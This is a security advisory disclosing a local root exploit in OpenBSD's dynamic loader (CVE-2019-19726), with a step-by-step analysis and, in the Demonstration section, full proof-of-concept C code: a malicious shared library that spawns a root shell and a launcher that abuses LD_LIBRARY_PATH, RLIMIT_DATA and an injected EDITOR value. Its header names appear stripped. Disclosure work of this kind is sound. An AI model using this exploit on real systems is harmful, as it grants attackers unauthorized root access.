Qualys Security Advisory Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726) ============================================================================== Contents ============================================================================== Summary Analysis Demonstration Acknowledgments ============================================================================== Summary ============================================================================== We discovered a Local Privilege Escalation in OpenBSD's dynamic loader (ld.so): this vulnerability is exploitable in the default installation (via the set-user-ID executable chpass or passwd) and yields full root privileges. We developed a simple proof of concept and successfully tested it against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both amd64 and i386; other releases and architectures are probably also exploitable. ============================================================================== Analysis ============================================================================== In this section, we analyze a step-by-step execution of our proof of concept: ------------------------------------------------------------------------------ 1/ We execve() the set-user-ID /usr/bin/chpass, but first: 1a/ we set the LD_LIBRARY_PATH environment variable to one single dot (the current working directory) and approximately ARG_MAX colons (the maximum number of bytes for the argument and environment list); as described in man ld.so: LD_LIBRARY_PATH A colon separated list of directories, prepending the default search path for shared libraries. This variable is ignored for set-user-ID and set-group-ID executables. 1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *) (2MB on amd64, 1MB on i386); as described in man setrlimit: RLIMIT_DATA The maximum size (in bytes) of the data segment for a process; this includes memory allocated via malloc(3) and all other anonymous memory mapped via mmap(2). ------------------------------------------------------------------------------ 2/ Before the main() function of chpass is executed, the _dl_boot() function of ld.so is executed and calls _dl_setup_env(): 262 void 263 _dl_setup_env(const char *argv0, char **envp) 264 { ... 271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp)); ... 283 _dl_trust = !_dl_issetugid(); 284 if (!_dl_trust) { /* Zap paths if s[ug]id... */ 285 if (_dl_libpath) { 286 _dl_free_path(_dl_libpath); 287 _dl_libpath = NULL; 288 _dl_unsetenv("LD_LIBRARY_PATH", envp); 289 } ------------------------------------------------------------------------------ 3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH environment variable and passes it to _dl_split_path(): 23 char ** 24 _dl_split_path(const char *searchpath) 25 { .. 35 pp = searchpath; 36 while (*pp) { 37 if (*pp == ':' || *pp == ';') 38 count++; 39 pp++; 40 } .. 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval)); 46 if (retval == NULL) 47 return (NULL); ------------------------------------------------------------------------------ 4/ At line 45, count is approximately ARG_MAX (the number of colons in our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL. ------------------------------------------------------------------------------ 5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH is ignored, but it is not deleted from the environment (CVE-2019-19726): although _dl_trust is false (_dl_issetugid() returns true because chpass is set-user-ID), _dl_unsetenv() is not called (line 288) because _dl_libpath is NULL (line 285). ------------------------------------------------------------------------------ 6/ Next, the main() function of chpass is executed, and it: 6a/ calls setuid(0), which sets the real and effective user IDs to 0; 6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY; 6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb (unlike execve(), execv() does not reset the environment). ------------------------------------------------------------------------------ 7/ Before the main() function of pwd_mkdb is executed, the _dl_boot() function of ld.so is executed and calls _dl_setup_env(): 7a/ at line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH environment variable (because it was not deleted from the environment in step 5, and because execv() did not reset the environment in step 6c); 7b/ at line 45, _dl_reallocarray() does not return NULL anymore (because our low RLIMIT_DATA was reset in step 6b); 7c/ as a result, _dl_libpath is not NULL (line 271), and it is not reset to NULL (line 287) because _dl_trust is true (_dl_issetugid() returns false because pwd_mkdb is not set-user-ID, and because the real and effective user IDs were both set to 0 in step 6a): our LD_LIBRARY_PATH is not ignored anymore. ------------------------------------------------------------------------------ 8/ Finally, ld.so searches for shared libraries in _dl_libpath (our LD_LIBRARY_PATH) and loads our own library from the current working directory (the dot in our LD_LIBRARY_PATH). ------------------------------------------------------------------------------ ============================================================================== Demonstration ============================================================================== In this section, we demonstrate the use of our proof of concept: ------------------------------------------------------------------------------ $ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody) $ cd /tmp $ cat > lib.c << "EOF" #include #include static void __attribute__ ((constructor)) _init (void) { if (setuid(0) != 0) _exit(__LINE__); if (setgid(0) != 0) _exit(__LINE__); char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL }; execve(argv[0], argv, NULL); _exit(__LINE__); } EOF $ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1] 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1] $ gcc -fpic -shared -s -o libutil.so.13.1 lib.c $ cat > poc.c << "EOF" #include #include #include #include int main(int argc, char * const * argv) { #define LLP "LD_LIBRARY_PATH=." static char llp[ARG_MAX - 128]; memset(llp, ':', sizeof(llp)-1); memcpy(llp, LLP, sizeof(LLP)-1); char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; #define DATA (ARG_MAX * sizeof(char *)) const struct rlimit data = { DATA, DATA }; if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); if (argc <= 1) _exit(__LINE__); argv += 1; execve(argv[0], argv, envp); _exit(__LINE__); } EOF $ gcc -s -o poc poc.c $ ./poc /usr/bin/chpass # id uid=0(root) gid=0(wheel) groups=32767(nobody) ------------------------------------------------------------------------------ ============================================================================== Acknowledgments ============================================================================== We thank Theo de Raadt and the OpenBSD developers for their incredibly quick response: they published a patch for this vulnerability in less than 3 hours. We also thank MITRE's CVE Assignment Team.